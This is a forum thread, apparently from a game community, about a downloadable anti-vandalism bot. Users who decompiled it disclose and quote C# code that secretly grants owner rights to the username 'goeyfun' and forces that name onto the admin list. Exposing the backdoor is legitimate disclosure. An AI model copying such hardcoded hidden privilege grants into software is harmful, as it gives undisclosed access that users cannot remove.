Do you think I could just leave this part blank and it'd be okay? We're just going to replace the whole thing with a header image anyway, right?
You are not logged in.
this bot stops trollers from vandalizing the world. Best for open edit world (if they do still exist).
http://smarturl.it/eetrollcatcher?IQid=eeforums
The bot calculates a few variables generated from player's block placement. And by applying analytics to existing trolls, we could foresee when trolls are about to happen.
Been recently implementing some standard deviation stuff, should be live in future updates.
I've been working on few algorithms, some being more sensitive than others on detecting trollers. The bot will tell you which algorithm (represented by A,B,C... )has activated. Tell me which one isn't working for you.
The bot will generate a EETC_Log.txt file to log edits made to the world. If you start trolling and submit your Log. I bet i can improve the algorithm in the future. Please do delete the log file everytime before you start the bot.
Offline
Deep learning for troll detection, we've gone a long way...
Everybody edits, but some edit more than others
Offline
Deep learning for troll detection, we've gone a long way...
is it deep learning though? I think he's talking concrete algorithms but it's hard to test for the creativity of trolls when there's like ten people online
Offline
What is the link to the site?
Offline
Deep learning for troll detection, we've gone a long way...
Well, I went through the decompiled source and there isn't any machine learning. It's essentially the same as the old troll detection I wrote in the past, just rate detection and reverting changes.
It's probably effective to a reasonable extent, and although it doesn't contain any inherently malicious functionalities, it does give owner privileges to anyone with the username 'goeyfun' which isn't documented nor is there any way to disable it.
*u stinky*
Offline
Zumza wrote:Deep learning for troll detection, we've gone a long way...
Well, I went through the decompiled source and there isn't any machine learning. It's essentially the same as the old troll detection I wrote in the past, just rate detection and reverting changes.
It's probably effective to a reasonable extent, and although it doesn't contain any inherently malicious functionalities, it does give owner privileges to anyone with the username 'goeyfun' which isn't documented nor is there any way to disable it.▼checksum
Me and some guys in nimg have talked about this too. It will force anyone to add goeyfun to the adminlist even if people don't want to do this.
The bot is old and outdated and is full of useless code. I saw atilla's code in it and bldatam is still there. Nothing is changed.
I also found out if you do .radmin goeyfun he will still have the owner access because its hardcoded in the tool.
//If nickname is goeyfun or nickname is owner of the world. He can do anything.
bool flag2 = player3.username.ToLower() == "goeyfun" || player3.username.ToLower() == Program.ownerName.ToLower();
//If administrators doesn't contains goeyfun. Add goeyfun to the admin list.
if (!Settings.Default.Administrators.Contains("goeyfun")) { Settings.Default.Administrators.Add("goeyfun"); }
Offline
Deep learning for troll detection, we've gone a long way...
Nah still manual review and categorization of which are trolls. Hope could learn relevant knowledge someday lol
Zumza wrote:Deep learning for troll detection, we've gone a long way...
Well, I went through the decompiled source and there isn't any machine learning. It's essentially the same as the old troll detection I wrote in the past, just rate detection and reverting changes.
It's probably effective to a reasonable extent, and although it doesn't contain any inherently malicious functionalities, it does give owner privileges to anyone with the username 'goeyfun' which isn't documented nor is there any way to disable it.
Yeah was still based on the old bot of yours, cuz just interested to write it's core but not the rest . But on top are a bunch of new calculations 'directional variations' 'distances', 'consistencies' beyond 'rate of placement'.
Yeah that 'feature' is also inherited from it predecessor .
PS; if someone could opensource the bot, won't mind so everyone can contribute ideas.
Offline
Zumza wrote:Deep learning for troll detection, we've gone a long way...
Nah still manual review and categorization of which are trolls. Hope could learn relevant knowledge someday lol
XxAtillaxX wrote:Zumza wrote:Deep learning for troll detection, we've gone a long way...
Well, I went through the decompiled source and there isn't any machine learning. It's essentially the same as the old troll detection I wrote in the past, just rate detection and reverting changes.
It's probably effective to a reasonable extent, and although it doesn't contain any inherently malicious functionalities, it does give owner privileges to anyone with the username 'goeyfun' which isn't documented nor is there any way to disable it.Yeah was still based on the old bot of yours, cuz just interested to write it's core but not the rest . But on top are a bunch of new calculations 'directional variations' 'distances', 'consistencies' beyond 'rate of placement'.
Yeah that 'feature' is also inherited from it predecessor .
PS; if someone could opensource the bot, won't mind so everyone can contribute ideas.
How hard can it be to code from the beginning? This one have a lot of useless stuff.
Offline
The only problem is:
Your bot is still an malware.
When a single block can troll a world, all you're doing is making trolls smarter and more subtle.
Reverting changes is great, but there's no good substitute for a human. Enable block inspection for all players, write a decent votekick system and you're well on your way to a self-governing free edit world.
One bot to rule them all, one bot to find them. One bot to bring them all... and with this cliché blind them.
Offline
[ Started around 1732367312.0492 - Generated in 0.112 seconds, 12 queries executed - Memory usage: 1.57 MiB (Peak: 1.75 MiB) ]